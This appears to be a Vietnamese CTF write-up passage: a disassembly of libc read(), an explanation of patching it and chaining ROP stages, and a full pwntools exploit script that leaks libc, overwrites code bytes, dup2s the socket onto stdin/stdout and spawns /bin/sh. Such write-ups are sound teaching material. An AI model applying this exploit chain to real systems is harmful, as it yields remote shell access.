0x7ac3b47149eb <read+107> nop dword ptr [rax + rax]
0x7ac3b47149f0 <read+112> mov rdx, qword ptr [rip + 0x104419] RDX, [0x7ac3b4818e10] => 0xffffffffffffff80
0x7ac3b47149f7 <read+119> neg eax
0x7ac3b47149f9 <read+121> mov dword ptr fs:[rdx], eax
0x7ac3b47149fc <read+124> mov rax, 0xffffffffffffffff
0x7ac3b4714a03 <read+131> ret
0x7ac3b4714a04 <read+132> nop dword ptr [rax]
0x7ac3b4714a08 <read+136> mov rdx, qword ptr [rip + 0x104401] RDX, [0x7ac3b4818e10] => 0xffffffffffffff80
0x7ac3b4714a0f <read+143> neg eax
0x7ac3b4714a11 <read+145> mov dword ptr fs:[rdx], eax
0x7ac3b4714a14 <read+148> mov rax, 0xffffffffffffffff
0x7ac3b4714a1b <read+155> jmp read+84 <read+84>Việc bây giờ của mình là nhập một đoạn ROP với syscall đầu tại read+16, có các tham số là read(socket_fd, buf, 0x40uLL). Mình nhập payload sao cho rsp + 0x43 là bắt đầu của ROP. Thế thì ở read+55, rdx sẽ được gán giá trị cực lớn bởi vì giá trị đó là địa chỉ libc. Sau đó ở read+102, rsp + 0x43 sẽ nhảy đến ROP của mình.
NHƯNG! vấn đề là ko đủ độ dài để nhập ROP execve hoàn chỉnh, chỉ có 0x40 = 64 bytes thôi :0. Thế thì sao ko thay bằng system() là được? rsp + 0x43 làm stack lệch mất còn đâu, ko align 16 byte thì ko system() được. Thế thì ROP để align rsp trước rồi system()? Nhưng mà cũng có địa chỉ stack đâu mà align xong nhảy đến (vì dù có stack base từ map nhưng địa chỉ stack đâu có ổn định). Thế thì ghi full ROP execve ra một vùng nào đó trong libc trước, rồi bây giờ ROP để stack pivot ra đó là được? Nhưng mà chỉ nhập 64 bytes thì cũng ko đủ :))
Thế thì ROP để đọc ROP dài hơn vào thì sao? Mình đã có rdx cực to rồi, bây giờ ROP để overflow trên stack rồi ghi đè return address thì sao nhỉ? Ok kế hoạch tiếp theo là:
- ROP để đặt rdi = 1337, đặt rsi = một địa chỉ stack nào đó (bàn sau), sau đó nhảy đến read+72 đặt rax = 0 sau đó gọi syscall read(). Mình sẽ có được read(1337, địa chỉ stack nào đó, rdx).
- Syscall xong chạy đến read+106 để ret. Bây giờ mình để ý rsp ở đây. Mình thấy nó cách stack base một khoảng là 0x1ff90, loanh quanh ở đây, vì vị trí các thứ trên stack ko có offset ổn định với stack base.
- Ok bây giờ mình ước lượng được khoảng này rồi, cái rsi trên kia mình sẽ lùi nó về stack base + 0x1ff90 - 0x1200 chẳng hạn. Khi syscall read ở read+74, mình nhập một đoạn ROP rất dài bắt đầu với toàn nop rồi mới execve, bởi vì mình ko biết chắc rsp sẽ rơi vào chỗ nào trên stack, nên nếu nó rơi vào rop thì nó sẽ liên tục ret và cuối cùng đến execve.
- Tuy nhiên lưu ý, vì lý do nào đó, mình chỉ có thể nhập dữ liệu ko quá 1 page (4096 bytes), nên ko để quá nhiều nop, vừa đủ để rsp rơi vào là được.
NHƯNG! lại có vấn đề, spawn được shell nhưng process shell tắt luôn, ko interactive() được trong pwntools. Nguyên nhân có thể lại nằm ở các cái fd, stdin, stdout, khiến cho shell ko đọc đc stdin và kết thúc. Nên trong ROP, trước khi execve, mình cần phải dup2(1337, 0) và dup2(1337, 1), để stdin và stdout cùng trỏ đến socket có thể giao tiếp. Khi binary execve ra shell thì mình mới interactive() được.
Mình sẽ sử dụng syscall; ret trong write() để return sau khi syscall dup2():

Lưu ý là do địa chỉ stack ở trên mình ước lượng, nên exploit có lúc ko được.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("chal_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *read+74
# b *write+21
set follow-fork-mode parent
set detach-on-fork on
continue
c
'''
def conn():
if args.LOCAL:
p = process([exe.path], stdin=PTY)
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 43461
return remote(host, port)
p = conn()
sleep(0.5)
def w(addr, length):
print(f'addr={hex(addr)} len={length}')
sl(p, f'{hex(addr)} {length}'.encode())
sleep(0.1)
r = b''
while True:
r = rl(p)
if b'libc.so.6' in r:
libc.address = leak_hex(r[:12])
break
lg("libc base", libc.address)
stack = 0
r = b''
while True:
r = rl(p)
if b'stack' in r:
stack = leak_hex(r[:12])
break
lg("stack", stack)
# <read+32> sub rsp, 0x28
print("\nremove <read+32>: sub rsp, 0x28")
for i in range(4):
w(libc.address + 0x1149a0 + i, 1)
# <read+55> mov rdx, qword ptr [rsp + 0x18]
print("\nmodify <read+55> to: mov rdx, qword ptr [rsp + 0x43]")
w(libc.address + 0x1149b7 + 4, 1)
# <read+82> ja read+136
print("\nremove <read+82>: ja read+136")
for i in range(2):
w(libc.address + 0x1149d2 + i, 1)
# <read+102> add rsp, 0x28
print("\nmodify <read+102> to: add rsp, 0x43")
w(libc.address + 0x1149e6 + 3, 1)
# <read+26> ret
print("\nremove <read+26>: ret")
w(libc.address + 0x11499a, 1)
print("\nROP for larger ROP")
pl = flat(
pad(0xb),
libc.address + 0x000000000002a3e5, # pop rdi ; ret
1337,
libc.address + 0x000000000002be51, # pop rsi ; ret
stack + 0x1ff90 - 0x1200 - 2,
libc.symbols['read']+72
)
sl(p, pl)
sleep(0.25)
sl(p, b'A')
sleep(0.25)
print("\nROP for shell")
pl = p64(libc.address + 0x00000000000378df) * 485
pl += flat(
# dup2(1337, 0)
libc.address + 0x000000000002a3e5, # pop rdi ; ret
1337,
libc.address + 0x000000000002be51, # pop rsi ; ret
0,
libc.address + 0x0000000000045eb0, # pop rax ; ret
33, # dup2
libc.symbols['write'] + 21, # syscall; ...; ret
# dup2(1337, 1)
libc.address + 0x000000000002a3e5, # pop rdi ; ret
1337,
libc.address + 0x000000000002be51, # pop rsi ; ret
1,
libc.address + 0x0000000000045eb0, # pop rax ; ret
33, # dup2
libc.symbols['write'] + 21, # syscall; ...; ret
# execve("/bin/sh", 0, 0)
libc.address + 0x000000000002a3e5, # pop rdi ; ret
binsh(libc),
libc.address + 0x000000000002be51, # pop rsi ; ret
0,
libc.address + 0x000000000011f497, # pop rdx ; pop r12 ; ret
0, 0,
libc.address + 0x0000000000045eb0, # pop rax ; ret
0x3b,
libc.address + 0x0000000000029db4, # syscall
)
sl(p, pl)
print("\nspawning shell...")
rr(p, 1)
ia(p)